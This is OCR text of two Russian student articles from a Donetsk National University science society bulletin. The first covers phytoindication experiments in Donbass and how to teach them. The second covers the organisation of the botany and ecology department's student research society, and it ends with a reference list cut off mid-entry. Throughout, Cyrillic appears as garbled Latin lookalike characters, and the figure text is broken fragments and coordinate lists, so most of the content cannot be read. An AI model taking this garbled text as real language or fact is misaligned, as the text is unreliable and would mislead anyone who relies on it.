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Buono2uuecrxkue HAYKuUu,
JKO0J102Ust

VK 581.5 (477)

MMPOBEJEHUE AYTOUTOUHIANKALIUU B TOHBACCE,
METOAUKO-OBYYAIOIIHUE BOITPOCHI

Aopycnuxk M.A.
Hayunwtit pyxosooumens: Caghonos A.U., kano.ouon.nayk, 3ae.kagheopoit
oy BIIO «/IOHHY»

Annomayus. B cTatbe paccMOTpPEHBI HEKOTOPBIE IPUMEPHI POBEACHHS (PUTOMHAMKAIL[IOHHBIX SKCIIEPUMEHTOB
B Jlonbacce. B nmamazoHe ImpUMepoB BBIACICHBI METOAWYECKHE acleKThl U CHOCOOB! BHEAPEHHS HayYHBIX
pa3paboToK B 00pa30BaTENbHBIN, IPOCBETUTENBCKUH aCHEKT NEITEILHOCTH CTYIEHUECKOTO HAyIHOTO 00IIIecTBa
Kagenpbl O0TAHUKH U SKOJIOTHHU B JIOHEIIKOM HAIlMOHATHHOM YHHBEPCUTETE.

Kniouegvie cnosa: puronnnukanus, Jlondace, GUTOMOHUTOPHHT, SKOJOTHYECKOE 00pa30BaHHUE, ayTIKOJIOTHSA
pacTeHuil.

AyThUTOMHIMKAIMSA SBISETCS Ha CETOAHS CaMbIM ampoOMPOBAaHHBIM CIIOCOOOM
IIPOBEJEHUSI OLEHKH Cpelbl C IOMOIIBIO CTPYKTYPHOM IUIACTUYHOCTH PACTEHHUN I
tepputopuu Llentpansroro [Jonbacca. B mpeapiaymx uccienoBaHusx HaMu pa3padOoTaHbl
HEKOTOpblE  METOJIMYECKME  AacCleKThl BHEAPEHHUS  HMHAUKALMOHHBIX  METOAOB B
00pa3oBaTEeNbHYIO JAEATENBHOCTh (Ha OCHOBE JIaHHBIX COBPEMEHHBIX HCCIIEOBATENbCKUX
noctuxkeHuit) [1], yTo 1o OOBEKTUBHON MpPUYMHE MOXKET OBbITh aKTyaJlbHO M B
MOJTHOMACIITaOHBIX 9KOJIOTHYECKUX JKCHepuMeHTax LleHTpalibHO-4epHO3EMHBIX PErHOHOB
Poccun [2, 3].

[lenb paboThI — pacCMOTPETh HEKOTOPbIE TPUMEPHI MPOBEACHHS (PUTOUHANKAIIMOHHBIX
sKcriepuMeHToB B JloHOacce Ha ypoBHE ayTIKOJIOTMM, B JHala3oHE MPUMEPOB BBIIEIUTH
METOAMYECKHE aCHEeKThl U CIIOCOObI BHEIPEHUSI HAYUHBIX pa3pabOTOK B 00pa3oBaTeNbHBIH,
MIPOCBETUTENBCKUI aCIEKT AEATEIbHOCTH CTYIAEHYECKOIO0 HAayyHOro oOIiectBa Kadeapsl
OOTaHMKHU U 3KOJIOTUHU B JJOHEIIKOM HaIlMOHAJIILHOM YHUBEPCUTETE.

Jns  npoBeaeHHs TeKylled CepUM  OKCHEPUMEHTOB  OBLIM  HCIOJB30BaHBI
cymectByromue B JloHOacce pa3paboTKu MO (PUTOMHIMKAIIMOHHOMY MOHHUTOPHUHTY U
¢dutokBaHTHU(UKAIMU TIPUPOIHBIX cpen [4—10] ¢ mompaBkaMu Ha BOCTPEOOBAHHOCTH ITHUX
nanabix g IUC-texnonoruueckux mnpouexyp [11, 12] u kmaccmueckux OOTaHMKO-
9KOJIOTMYECKUX AUArHOCTUYECKUX padoT B pervone [ 13—16], uto, 6e3yciioBHO, BOCTpeOOBaHO
B yueOHOM Tmporecce Ha OuojoruueckoM (akymnbreT J{OHEIKOro HalMOHAILHOTO
yHuBepcuteTa [17, 18] u aHanmuTHYECKUX IporpaMmax [eIeBoro UCIOIb30BaHuUs paCTEHUI B
HKOJIOTUYECKOM MOHHTOpHUHTE [7, 19-22].

Bea nmporpamma ayTduUTOMHAMKALMK TPEACTaBIsSeT cOO0O0M J0OyI0 MaHUMYJSIUIO,
BBIJICJIAIONIYI0O MHIUKATOPHbIE OCOOEHHOCTH PACTEHUH WM UHPOPMALHUIO O KOHKPETHOM
reoJoKaluTeTe, Ha YypOBHE o0co0el OTHeIbHOro BHJA. IJTO Haubojee ITUCKPETHBIN
(GYHKIMOHAT JJIS IPOBEACHUS SKCIEPUMEHTOB MO MJIEHTU()UKALNU OTKIMKOB Ha CHCTEMY
pa3apa)KeHUsl WIN CTPecca paCTUTEIIBHOTO OPTaHU3Ma Ha aHTPOIIMYECKYIO COCTABISIOIYIO B
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ypOaHU3UPOBAHHOM, MHIYCTPHAILHOM WU B LIEJIOM XO3SIMICTBEHHOM PEruoHE CO CBOEH
cnenn(uKoit BO3ACHCTBUS HA TPUPOTHBIE SKOCHCTEMBI.

Hamu Obuin mpopaboTanbl MaTepuaibl U MPUHATO ydacTHe B cOOpe IMOJIEBBIX
apreakToB U1 TOMOJHEHHS WHQPOPMALMOHHOM ©0a3bl 1Mo (PUTOMHIMKAIMM Ha
ayTAKOJIOTMYECKOM YPOBHE, YTO PEalM30BaHO HA CErofHs B paMKaX JIBYXKOMIIOHEHTHBIX
Pa3sHOYPOBHEBBIX MOHHTOPUHTOBBIX CETEH M MO KOHKPETHBIM KPUTEPUSM KOMIUIEKCHBIX U
yacThIX noka3zareneii (puc. 1). Ha pucynke 2 npeacrabiensl 6J10Kku ayT(HUTOMHANKAIIMOHHOM
skcrieptu3sl B JloHOacce (MH(pOpPMAMOHHO-aHATUTHYECKHE YacTH B  JIOTUYECKOM
MOCTIEIOBATEIbHOCTH), a TaKKe MpHUMEp, WUIIOCTPUPYIOUIMHA pabodyro TEXHOJIOTHIO
1IKan000pa3oBaHus MO FeHepaTUBHBIM MOP(OIOrHUECKUM MTPU3HAKAM.

MOHUTOPUHIOBAA CETb ®PUTOHOUKALIMOHHOIO
HA3SHAYEHUA, MUHBEHTAPU3ALUA U SKCMNEPTU3A

MOHUTOPUHIroBble ceTu
113- n 120-y3noBble b %
oK ’ N |- Yo

05 1.0 1.5 3 25 3.
-——

KOMMJEKCHbIN NOKA3ATE/SIb HAPYLLEHHOCTM
JKOTOMNOB Mo ®UTOMHOANKALIMOHHOMY KPUTEPUIO

-

A
/_, L)

Puc. 1 - Peanmuzanms IporpaMmaI IMOJHOMACIITa0HOTO MOHHUTOPHUHI'OBOT'O SKCTICPUMCHTA
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AUATHOCTUKA 3KOTOMNOB AIOHBACCA MO COCTOAHUIO PUTOKOMMNOHEHTOB

. 1) nonesblie cbopbl, IKCNEAULUU
2) MHBEHTapKU3aLMs BUAOBOIO pasHoo6pasms
. 3) MOHUTOPUHT PeAKUX, PapUTETHbIX

4) nonynAuUMOHHbIN aHanus,

5) duTOLLEHOTUYECKME AaHHble,
6) GUTOMHAMKATOPDI COCTOAHUA U YCTOMYMBOCTU reocUcTeM
7) HAMKaTopbl yp6o- 1 arpocucTem

8) MHAMKALMOHHbIe LWKanbl, MHAEKCbl pa3Hoo6pasms
9) AnarHocTuKa 1 BUoTecTMpoBaHME NPUPOLHbIX cpes,
10) HAeKCbl PUTOMOHUTOPUHTa

11) MMNaKTHbIN U UHTPEANEHTHbBIN MOHUTOPUHT
12) peructpaums MUKPOKAMMATUYECKUX TPEHAOB
13) cnocobbl BU3yanmnsaLmm gaHHbIX

O6mmas Mmopdonorust cemenu Glaucium corniculatum (L.) Rudolph.
(1-5 — BapHaHThI OUSPTAHUS ¥ CKYJIBIITYPBI IOBEPXHOCTH CEMEHHOTO MaTepHalia B

TpeH/Ie YBEIHUECHHS TeXHOT€HHON Harpy3Ku)

Cxyasrrypa cemennt Glaucium corniculatum (L) Rudolph. B Hopme Cxynentypa cemenn Glaucium corniculanum (L..) Rudolph. 8 matonorimt
(kareropi 1-3 10-6a7TTLHOT BAPHAIIIORHO MTKATEY) (xateropmt 8-10 10-6a11sHOIT BapHamIORHOIT MKaTH )

Towiat 2a60pa Matepiata — . T Touxu 3a00pa MaTepuata —

5 o HatCHIe

Hamoctpamms upobae nuonaax pIHATANE HamocTpaiiti MPOOHsIC ILIOMATKH € KOOP/HHATAMH
WG! MR WGS-84. 3

3mauenne
mKaT

6094181 (x) m 4203692 (). 6106227 (x) 1 4206003 ()

6123272 (x)m 4

6110476 (x) 1 4209525 (y).
6156956 (x) 1 4230293 (y).

6108346 (x) 1 4211418 (y)
6138559 (x) w 4222062 (y) )

6121582 (x) m 4211216 (y).

3 207908
6118831 (x) 4215713 (y), 9 6104013 (x) 1 4207908 (y),

6098068 (x) 1t 4207848 (y) 6106626 (x) 1 4217761 (y)

6146343 (x) m 4252818 (y).

6122377 (x) m 4219655 (y).

6145203 (x) 1 4255166 (y).
6114221 (x) 1 4198069 (y). :

6098835 (x) 1 4217482 (y) 6141878 (x) 1 4249681 (y)

Puc. 2 — adopmatuBHbIe 070KH ayTHUTOMHAUKALMU U IPUMED HIKATI000pa30BaHUs

[Ipumep mIkamooOpa3oBaHUsT OTHOCHTCS K KAaT€TOPUHU HATJIATHO-CPaBHUTEIBHBIX
KpUTEpPUEB IO CTENEeHH KCepoUTU3AMU TOBEPXHOCTH CEMEHHM, TJie BBIJEIIECH
MOP(}OCTPYKTYpPHBIN TPEH]T OT COCTOSHUS MPHU MPOU3PACTAHUN PACTCHUS B OJIArOMpUSTHBIX
YCIIOBUSX CPEIbl 10 MaKCUMaJbHO HeOJaronpusatHbiX. [Ipumep comepKuUT 5 KpUTHYECKUX
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JUCKPETHBIX COCTOSIHUI, TAKUM 00pa30oM, 4TOOBI IIKajia Moria ObITh nuddepeHmpoBaHa mo
5-0amibHOMY JMAna3oHy 3HAUCHHs MPHU3HAKA; M3 PUCYHKAa BUIHO, YTO COCTOSIHHE TaKUX
MOP(OJIOTHUECKUX OCOOCHHOCTEH MMEET M MPHBS3KY K KOHKPETHOMY T'€OJIOKAIHUTETY H
MOeET OBITh (PUKCHPOBAHO B 3KOTOMAX BceX (hopM TpaHCHOpPMALIMH, BKIIOYAs TEXHOTEHHOE
HANpSOHKCHUE WM COCTOSHHE, OJIM3KOe K BBDKMBAHHUIO OCOOCH H3y4aeMoro BHUja B
Cy0JIeTaTbHOM COCTOSTHUU.

B cnekTpe MeToauYeckMx MPHEMOB HaMH PEKOMEHJIOBAHO HCIIOJIb30BaTh Kak
aKTHBHBIE, TaK U ITACCHBHBIE CIIOCOOBI MPOBEICHUS HKOJIOTHIECKOTO MOHUTOPUHTA, a TAKXKe
COBOKYITHOCTh O0YYaIOIMX METOJIOB, CBSI3aHHBIX C HEMOCPEIACTBEHHOW pabOTON CTYICHTOB B
NPOGMIBHBIX SKOJIOT0-00TaHUYECKUX JTa00paTOpHsIX.

Takum o0pa3oMm, B cTaTbe pACCMOTPEHBI HEKOTOpPHIE MPHUMEPHl MPOBEACHUS
(UTOMHIMKAIIMOHHBIX IKCIEPUMEHTOB B JloHOAacce MO ayTIKOIOrMYecKoMy mpoduiio; B
JMara3oHe MPUMEPOB BBIIEICHBI METOJUYECKHE acCTIeKThl U CIIOCOOBI BHEAPEHUS HAYYHBIX
pa3paboToK B 00pa30oBaTEIbHbIM, MPOCBETUTEIBCKUNA ACIICKT JCSITEIBHOCTH CTYACHYECKOTO
HaydyHOro ooOmecTBa Kadeapbl OOTaHWKH W O3KOJOTMU B JIOHEIKOM HAIMOHATBHOM
YHUBEPCHUTETE.
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OIIbIT OPTAHM3AIMU CTYAEHYECKOI'O HAYYHOI'O OBIIECTBA
KA®EJPbBI BOTAHUKHA U DKOJIOI'MU JOHHY

Aobycnaitna M.B.
Hayunwuii pyxosooumens: Cagponos A.U., kano.ouon.nayk, 3ae.kagheopoii
TIoy BIIO «/IOHHY»

Annomayus. B cratbe TNpeIUIOKEHBI K PACCMOTPEHHIO HEKOTOPHIE AaCIeKThl aKTyaJbHOH IesTeIbHOCTH
CTYICHTOB Kadeapbl OOTAaHUKH U SKOJIOTUU B 00JIACTH OpraHU3alii U CAaMOOPTaHU3aIlH HAYTHOH paboThI mpu
BBIIIOJIHGHMH AWIUIOMHBIX M MAarucTepckux pabor. B menmom, HaydHas paboTa OpraHH30BaHa B paMKax
CYIIECTBYIOLIEH MPpOrpaMMBbl HCCIEAOBATEIBCKIUX 331a4, cHOPMYITUPOBAHHBIX B TOCYIAPCTBEHHBIX MPOCKTAX U
TeMax BBIIOJHEHNUS Ha Kadeape OOTaHUKH M SKOJIOTHH JJOHeKOro HallnOHAJIEHOTO YHUBEPCUTETA.

Kniouesvie crosa: puronnnukanys, JloHelK, SKOJIOTHYECKUH MOHUTOPHHT, 00pa3oBaTeibHas IpOrpaMma.

N3 cymectByroumux ¢opm camoonpeneneHus B JlOHEIKOM —HalMOHAJIbHOM
YHHUBEPCHTETE SIPKO BhIAENsAeTCS padora CTyAEHYECKOr0 HAaydyHOTO OOIIECTBa, Pa3BHTHE
KOTOPOTO 3aBUCHUT OT YCIEXOB U JIOCTHIKEHUH pEruoHaNbHbIX ((aKyIbTETCKUX U
KadeapallbHbIX ) MPEACTABUTEILCTB B 1IesIoM. [Ipennoxennsiii i npouterus Bectauk CHO
JIOHHY (tom 1. EcrecTBeHHblE HAayKH) TakKe SBISETCS PE3yJIbTaTOM (HCTOPUYECKUM
apXUBOM, MEPCIEKTUBHBIM JTOKYMEHTOM) Hay4YHO-IIPAKTHUECKON AESTEIbHOCTU CTYJIEHTOB.
[ToaTomy Takoil mMaTepuan U OCOOCHHOCTH YCHEIIHON paOOThl HYXIAIOTCA B aHAIHM3Ee U
MIPEIOTPEICIICHNN JaIbHEHIIICH yCIIenTHOW (DOPMBI 3aHATOCTH TOIPACTAOIIETO MTOKOJICHUSI.

L{enb paGoThI — BBLACTUTH HEKOTOPBIE YCICIIHBIE ACTIEKTHI U JOCTUKEHHSI aKTyallbHOM
NESTETLHOCTH CTYJIEHTOB Kadenpsl OOTAaHUKU U DKOJIOTHH OMOJIOTHYecKoro (akyiabTera B
o0yacTu opraHu3alliy U CaMOOpPTraHU3aIlMK HAyYHOU paOOThI MPU BHIMOIHEHUH TUTIOMHBIX
U Marucrepckux paboT; J[0Ka3aTh, YTO Hay4yHas paboTa OpraHM30BaHa B paMKax
CYUIECTBYIOIIEH MPOrpaMMBbl  UCCIIEOBATENbCKUX  3a/1a4, C()OpPMYIMPOBAHHBIX B
rOCy/IapCTBEHHBIX MPOEKTaX M TEeMax BBINOJHEHHs Ha Kadeape OOTaHMKU M HKOJIOTUH
JIOHEKOTr0 HallMOHAJIBHOI'O YHUBEPCUTETA.

Cucrema CHO kadenpsl O0TaHUKM U SKOJOTHMH (OpMHpyeTcs KaK Ha Hay4HBIX
TPaIUIMIX, TaK M HAayYHO-METOAMYECKMX CrHoco0ax, MOAXOoJaxX B OpraHu3alMu CBOEH
nestenbHoCTH [1-5]. BeinenenHas mpernonaBateisiMu crieliiduka Kak OpraHu3aiiu, TaK |
caMOOpraHu3alii HAyYHOTO OOIECTBA U BBHIMOJIHEHUS] Hay4HBIX paboT [6, 7] BKItOueHa B
tembl HUP ¢ rocynapctBennoit peructparueii [8—10], a Taxxke 6asupyeTcs Ha MPHHIIKATIAX
OO0TaHMKO-3KOJIOIMYECKON 11eJ1IeCO00Pa3HOCTH JUIsl peTrMOHA Ha METOJI0JIOTHYECKOM OCHOBE.
OpueHTHpOM [UIsl HAay4HBIX pa3pabOTOK SBISIOTCS W MEXIMCUUIUIMHAPHBIA MOAXO[,
Hanpumep, wucnonszoBanne ['MC B wuccnenoBarenbckoir pabore [18, 19], cmocoOb
BBITIOJTHEHUS 3a7JaHu 110 OpeH10BoM TeMaTuke peruona [20, 21], ucronp3zoBanue HapabOTOK
CTYJCHTOB MPONUIBIX JIeT oOydeHus [22] u uHGOPMAIMOHHO-aHAIUTUYECKUI KOHTPOIb
MIPOBOAMMBIX MEPOIIPUATHI U pa3HOIro poja MyOIuKaluuii o TeMaTukam Kadeapsl 00TaHUKU
Y 9KOJIOTUH (B TOM 4HKcie) B peruoHe [23].

OnopHeIMM ~ JUIsl  CTYAGHTOB  OCTAIOTCSI HAy4YHO-METOJMYECKHE  pa3pabOTKH,
copMHpOBaHHBIE Ha Kadeape NpenojaBaTeIbCKUM COCTaBOM, pa3MEIICHHbIE 003aTeIbHBIM
00pa3oM B 3JIEKTPOHHO-OMOINOTEUHON cucTemMe J[OHEeIKoro HaIMOHAIBPHOTO YHUBEPCUTETA
(puc. 1), a Takke NpOBEIECHUS HAYYHO-TEXHHUUECKUX MEPOIPHUITUN COTIACHO €KErOHBIM
npukazaM MuHuctepcTBa oOpasoBanuss u Hayku Jloneukoit Hapoauoit PecnyOmnuxu:
LIKOJIBHBIE M CTYJEHUYECKHE OJIMMIHNAABI M0 OKonoruu, buonoruu, Teopunm sBomonmu,
boranuke; HaydyHble CEMUHAPBI, HAITPUMED, JIS IEPBOKYPCHUKOB €KEHEAEIbHBI CEMUHAD,
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KOTOpBIN ToTOBAT Bce Kadenphl (akylbTeTa, a TaKkKe KOHKYPC 10 HHTETPUPOBAHHOMY
TeMaTu4eckoMy HarpasieHuto «Hayku o xxusHu» (puc. 1), Beictymienus B CMU (puc. 2).

COBPEMEHHBIE JOCTUKEHUS
BOTAHUKA B EMONOrMM. BOTAHHUKA o%miﬂgl’:grgﬁ"m

PEMPOAYKTUBHBIE
CTPATErMU PACTEHUN

TEXHONONA NPAKTHUECKOR AEATENLHOCTH

NAHAQWA®TOBEQEHUE ~ METOAONOrUA U METOALI .
Y NPUPOQHbIA BM3ARH  HAYYHbIX UCCNEROBAHMM  OKOBMOTEXHONOr MU

APRTHNS, My POrHOmANL BCTEET A
 CHIRMINS IATPAIMEHIHA OKPY RIS COOTM!

OXPAHA NMPUPOfBbI P"FTE““EB°‘1°TB°

P x’*e" e
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MEXOYHAPOAHOE TEXthOrMH

sv 163 rmt 500 11 TEXHOFEHHBIE CHCTEMbI 1
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T 3KONOrUYECKWUT PACK 3KONOrMYECKMH COBPEMEHHAS! 3KONOTUA  COTPYAHAYECTBOG 0smacri OUTOMHAUKALIMK
e no e

MOHMTOPMH'— W TMOBANLHBIE IKONOMMNECKAE BONPOCHI A e e b - s it s

'w"mi‘y";ﬂm':{:}éﬂgﬁm“w | Pecny6nukaHckas
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KOHKYpC
HAYKU O XXU3HU

Puc. 1 — Dcku3bl OTYETHON JOKYMEHTAIUH TI0 MTPOIYKTaM Haquo-TeXHquCKoﬁ
NeSTeNIbHOCTH Ha Kadenpe: yIeOHUKH, MEPOTPHSITUS
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MACTEP-KITACC

WIHTEPBLIO HA PAAVO
3AMUCH IOUPA

e
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YUTANbHbLIA 3AN
BUONoroe

Puc. 2 — Dcku3bl OTYETHON JOKYMEHTAIIMH IO MPOAYKTaM HAyYHO-TEXHHYECKOU
NEeSTeNIbHOCTH Ha Kaelpe: MacTep-KJIacChl, TeKIUU BeicTyruieHus B CMU, HarpaxaeHus

[Monynspuzanuss Hay4yHOW JEATEIHHOCTH pacCMaTpUBAaeTCd Kak o00s3aTenbHas
mporeaypa B cuctemMe mpodopueHTanuud (IIKOJIHPHUKOB — JUIsl BbIOOpa BY3a, CTYIECHTOB
MJIQIIINX KypcoB — Jnisi BbIOOpa Kadeaphbl, HAYYHOTO PYKOBOAUTENS, MPO(GUILHOMN
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nabopaTropuu, CTy/I€HTa-BbIITYCKHHUKA — JJI BBIOOpa y4eObl B aCIUpPaHType, OpAUHATYPE, UITN
TPYAOYCTPOMCTBA MO CHEUAIBHOCTH, COTJIACHO IOCYAapCTBEHHOMY 3aIlpoCy M BaKaHCHUSAM
Ha MPEANPUATUAX U OpPraHU3aIMIX ) U aKTyalIu3al[ii HayYHbIX 3HAHU B ITpoliecce 00y4eHus,
Hay4deHUs, TOJNYYCHHs] TNPOPECCHOHAIBHBIX 3HAHWMA, BBITIOJHCHHUSI WHIUBUIYAIBHOTO
3a/laHusl TI0 AKCKIIIO3MBHOM MpOrpaMMe KYpCOBBIX, AUIJIOMHOM M MarucTepckoil paboThI.
CTyaeHThI-aKTUBUCTHI MPUHUMAIOT Y4aCTUE B MPOBEJACHUHN MacTEep-KJIACCOB, HAIPUMED, 10
¢buTONM3aHEPCKUM TeMaM, BBICTYIMAIOT Ha Paauo, TEJICBUACHUU, NIPUHUMAIOT ydacTue B
00CYXKJICHUH aKTyaJIbHBIX TeM 3a KPYIJIBIMU CTOJIAMHU, ITOCEIIAI0T BBICTABKH OMOIMOTEIHON
MPOYKIINH, 3HAKOMSTCS ¢ HOBHHKAMH YYEOHBIX M HAYYHBIX MOCTYIUICHUH B OMOIMOTEKY
JouHY (puc. 2). Kak pe3yapTaT yCHenHOW HayYHO-HCCIIeIOBATEIHCKON PAOOTHI CTY/ICHTOB
— MOJIYYCHHE HaTrPaJIHbBIX JOKYMEHTOB IO pe3yabTaTaM y4acTusi B KOH(epeHIuIX 1 mode Ha
KOHKYpcax (onMMIuagax, HayqHbix copeBHoBanusx, HUPC).

Opranuzanus TakoW YCHENIHOW paboThl TpeOyeT HCIIOIb30BAHMS JIHHAMHYCECKU
BaJICHTHOT'O HAyYHO-METOJMYECKOTO U JaKe€ METOJOJIOTHYECKOro MOJXOAa: TPaMOTHOTO
pacnpe/iesieHus: 3TalloB MEPONPUATUN B IOy, [TOCIEA0BATEIBHOCTH, ONIPEIEICHNUS MECTa U
pPOJIU KaXKIOro, YCTAHOBJICHHSI UEPapXUU B CHCTEME BHUMaHHUS PYKOBOJCTBA. be3ycioBHoO,
BOKHBIM TpEeOOBAaHMEM YCIICITHOCTH HAaYYHO-TEXHUYECKOW pabOThl CTYJIEHTOB SIBISETCS
MaTepUaIbHO-TEXHUYECKOEe OCHAIleHue mnpoduiabHbx Jabopartopuit Bcex  Kadeap
OmoI0rN4ecKkoro (hakyinbTeTa, MIPOBEACHHUE SKCIICPUMEHTA 110 HHCTPYMEHTAILHOMY JIOCTYITY
Ha TpeOyeMOM COBPEMEHHOM ypPOBHE.

Takum oOpa3zoM, IPEASIOKEHBI K PACCMOTPEHUIO HEKOTOPBIE ACMEKThl aKTyaJIbHOU
JEeSTeIbHOCTH CTYJAEHTOB Kadenpsl OOTAaHUKM M SKOJOTHMH B 00JacTH OpraHu3aluil U
caMOOpraHU3allii HAY9HOH pabOThI IPU BBIMOJIHCHUN JUIIJIOMHBIX ¥ MAaruCTEPCKUX PadoT.
WnmrocTpaTUBHO U TOKYMEHTAJIBHO TOKA3aHO, YTO Hay4Has paboTa OpraHn3oBaHa B paMKax
CYIIECTBYIOIIEH TPOrpaMMbl  HCCIIEIOBATENLCKUX  3a/ad, CHOPMYJIUPOBAHHBIX B
rOCy/IapCTBEHHBIX TPOEKTAaX M TeMaxX BBHINOTHEHHS Ha Kadeape OOTaHMKU M DIKOJIOTHUH
JIOHEIKOTO HAIlMOHAIBHOTO YHUBEPCUTETA.

CIIMCOK JIMTEPATYPbBI

1. AGycuaitna M.B. ®OurouHauKamnus B KOHTEKCTE 00pa30BaTe/bHBIX M HAy4HbIX mporpamm JlonGacca //
Becthuk crynerueckoro HaydHoro obmectsa ['OY BIIO "JloHeukuii HannoHa bHbIH yHEBepcuTeT". — 2021.
—-T.1.—Ne 13. - C. 9-13.

2. AGycHaitna M.B. Meronuka o0y4eHHsT HHANKAIMOHHOW SKCIIEPTU3E B PETHOHANEHOM (PUTOMOHHTOpPHUHTE //
Bectauk crynendeckoro HayuHoro obmectBa 'OY BIIO "JloHenkuit HaroHampHBIH yHUBepcuTeT'. — 2022.
—T.1.—Ne 14. - C. 14-18.

3. Koporenko H.B. ®uromHIvkannoHHbIE HCCIEJOBAaHHMS W HCHOJNB30BAHHE WX PE3YNIBTATOB B y4eOHOM
nporiecce // BectHuk cryneHdeckoro HayyHoro obmectBa ['OY BIIO "JloHenkwii HaluOHAIBHBIN
yuuepcuret". — 2022. — T. 1. — Ne 14. — C. 59-63.

4. CeupupnoBa U.B. CtpykrypHBIi agantanuoreHe3 ¢utonHankaropos CesepHoro [Ipma3oBes Ha mpumepax
TepaTooOpa30BaHuUs; METO]I BU3yaIH3aliy B 00y4eHnH // BecTHHK cTyaeHuecKoro HayqHoro obmiectsa 'OY
BIIO "[lonenkuii HaroHa bHbld yHHBepcuteT". — 2022, — T. 1. — Ne 14. — C. 86-90

5. [leBuyk H.A. ®uronnnukanmoHHsie pa3padbotku B JJonbacce kak pecypc Megarorndeckoi AeaTenbHOCTH //
BectHuK cTyaeHueckoro HayuHoro obmectea ['OY BIIO "[loHenkwuii HanroHaabHbIH yHHBepcHTeT". — 2022.
—T.1.—Ne 14. - C. 114-118.

6. CadonoB A.M. Cneuudura NOATOTOBKH Y4eOHO-METOANYECKON NPOAYKIHMU OOTAaHMKO-3KOJIOIMYECKOTO
coniepxanus U HaydHo# oubnuoteku JJorHY // loneukue urenus 2019: O6pa3zoBanue, HayKa, HHHOBAILIUY,
KyJIbTypa 1 BBI30BEI coBpeMeHHOocTH. — Jlonenxk: M3n-Bo JonHY, 2019. — C. 294-297.

7. CadonoB A.W. Crienndpuka oO6pa3oBaTenbHbIX TEXHOJIOTHH Ha Kadeape 6oTaHuky u skoxoruu JJonHY npu
MOJATOTOBKE CTYACHTaMH BBITYCKHBIX KBaJH(UKAIIMOHHBIX paboT // Pa3BuTHE HHTEIIEKTYaJIbHO-TBOPYECKOTO
MOTEHIIMAIa MOJIOJICIKHU: M3 MPOILIOTO B COBpeMeHHOoCTh. — Jonerk: M3a-so JJorHY, 2018. — C. 274-275.

8. CadponoB A.M. boraHmka aHTPONOTEXHOT€HE3a — HOBasg TOCYNAapCTBEHHAs OIOPKETHAs HaydHO-
uccieoBaTeNnbeKas TeMa B JloHenkoM HanuoHanbHOM yHuBepcutere // CtemHas EBpasust — ycroifumsoe
pasBuTHE : c0. MaTep. MexayHap. Gpopyma. — Pocros-na-{ony: OOV, 2022. — C. 239-240.

13



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennsie Hayku. — 2023.

9. CadonoB A.M. dynknuonaipHas OoTaHuka B JloHOacce: HKOJIOTMUECKUH MOHUTOPUHT, HHPOPMAIIMOHHBIE
pecypcHBIe TeXHOIOTHH, puronuzaitd // [IpobremMbl KOIOTHH M OXPaHBI IPUPOIBl TEXHOTCHHOTO PETHOHA.
2017. —Ne 1-2. - C. 6-12.

10. CadonoB A.M. Omnopsble pa3pabOTKH B paMKaX TEMaTHYECKOTO HANpaBICHHS 10 OOTaHHKE
anTporiorexaorenesa (2022 r.) // Jonenkune grenus 2022: oOpa3oBaHuWe, Hayka, HHHOBALMH, KyJIbTypa U
BBI30BEI cOBpeMeHHOCTH : Matep. VII Mexnaynap. Hayus. koH(}. — Honeuk: JouHY, 2022. — C. 113.

11. Cadpono A.U. IIpeeMCTBEHHOCTh KOJOTHYECKOTO OOpa3oBaHHA B CHUCTEME 'IIKOJIA — YHHUBEPCUTET —
npexanpusitue" // Dxonornyeckas curyanus B Jlondacce. — M.: Uzn-so MHOITY, 2016. T. 1. — C. 151-154.
12. CadonoB A.U., 3axapenkosa H.C., Mupnenko D.11. Beenenune B criennanu3zanuio Ha kadeape 60TaHUKH U
sxonoruu Jlouny // Jlonenxue urenust 2016. OOpa3oBaHue, HayKa W BBI3OBBI COBpEMEHHOCTH. — JlOHeIK:

IOxHbI# enepanbublii yHUBEpcuTeT, 2016. — C. 196-197.

13. CadonoB A.U., I'myxoB A.3. DUTOMOHUTOPHHT B TEXHOTEHHO TPaHC(HOPMHUPOBAHHOW Cpejie: METOJOIOT S
u pakTHKa // OkocucteMsl. — 2021, — Ne 28. — C. 16-28.

14. CacdonoB A.W. /IlnHamuka (PUTOMOHHTOPHHIOBEIX IOKa3aTelel aHTponoTexHoreHe3a B Joubacce (2000-
2019 rr.) // IIpoGmeMBl 3KOJIOTUH 1 OXPaHBI IPUPOABI TEXHOTeHHOTO perroHa. — 2020. — Ne 1-2. — C. 31-36.
15. CacdonoB A.H. HoBbie BUABI pacTeHUi B 3KkonornaeckoM Mouutopunre Jlonbacca / Bectauk JloHekoro

HanroHanbHOTO YHUBepcuTeTa. Cepust A: EcrectBennsie Hayku. — 2020. — Ne 1. — C. 96-100.

16. Cadpono A.Jl. DuTOMHOWKAIMOHHAS DJKCIIEPTH3a B SKOJIOTHYECKOM MoHHTOpuHTe [loHOacca //
Bronnarnoctuka cocTosiHUS MPUPOIHBIX U MPUPOIHO-TeXHOTeHHBIX cucteM: Matep. XVII Beepoccuiickoit
Hay4H.-TipakTHd. koH®. (Kupos, 05 nexadpst 2019 r.). — Kupos: Barl'Y, 2019. — C. 10-12.

17. CadonoB A.U. ®ponTanbuelii ciektp ¢puronuarsoctuku B JJondacce (2018-2019 rr.) // JloHeukue uteHust
2019: oOpa3oBaHue, HayKa, HHHOBAIMH, KyJIbTypa ¥ BbI30BBI COBpeMEHHOCTH: Martep. [V MexnyHap. Hayu.
koH®. ([ouenk, 31 oktsa6ps 2019 r.). — T. 2. Houenx: U3a-so JouHY, 2019. C. 270-271.

18. TI'epmoHoBa E.A. Busyamuzauusi MHUKPOKIMMATHYECKUX HM3MEHEHUH HHAMKATOPHBIX IIPH3HAKOB B
JIOKJIBHBIX HMOMYJSALMSIX pacTeHni r. JloHenka // I'mobanpHbIE KIMMAaTHYECKHE W3MEHEHHS: PErnOHAIbHbIC
3¢ dexTsI, MoaemnH, mporHo3bl. — Boporex: Lludporas momurpadus, 2019. — C. 39-40.

19. TepmonoBa E.A. Anamm3 OOTaHHMKO-KOJOTHYECKOW HH(POPMAIMHM IO TECOJOKAIMH B MPOMBIIIICHHOM
Honb6acce // Jouenkue arenus 2019: oOpa3oBaHue, HayKa, ”HHOBAINH, KyJIbTYPa U BEI30BBI COBPEMEHHOCTH:
Mmatep. [V Mexnynap. Hayd. koH®. (Jorenk, 31 oktsa6psa 2019 r.). T. 2. Jorenk: JorHY, 2019. — C. 202-204.

20. O6pa3oBaTenbHbIE TEXHOJIOTUH MOATOTOBKN OHOJIOTOB CIIEIMAIN3AIMH 10 CaJJ0BO-TIAPKOBOMY JIM3aliHy B
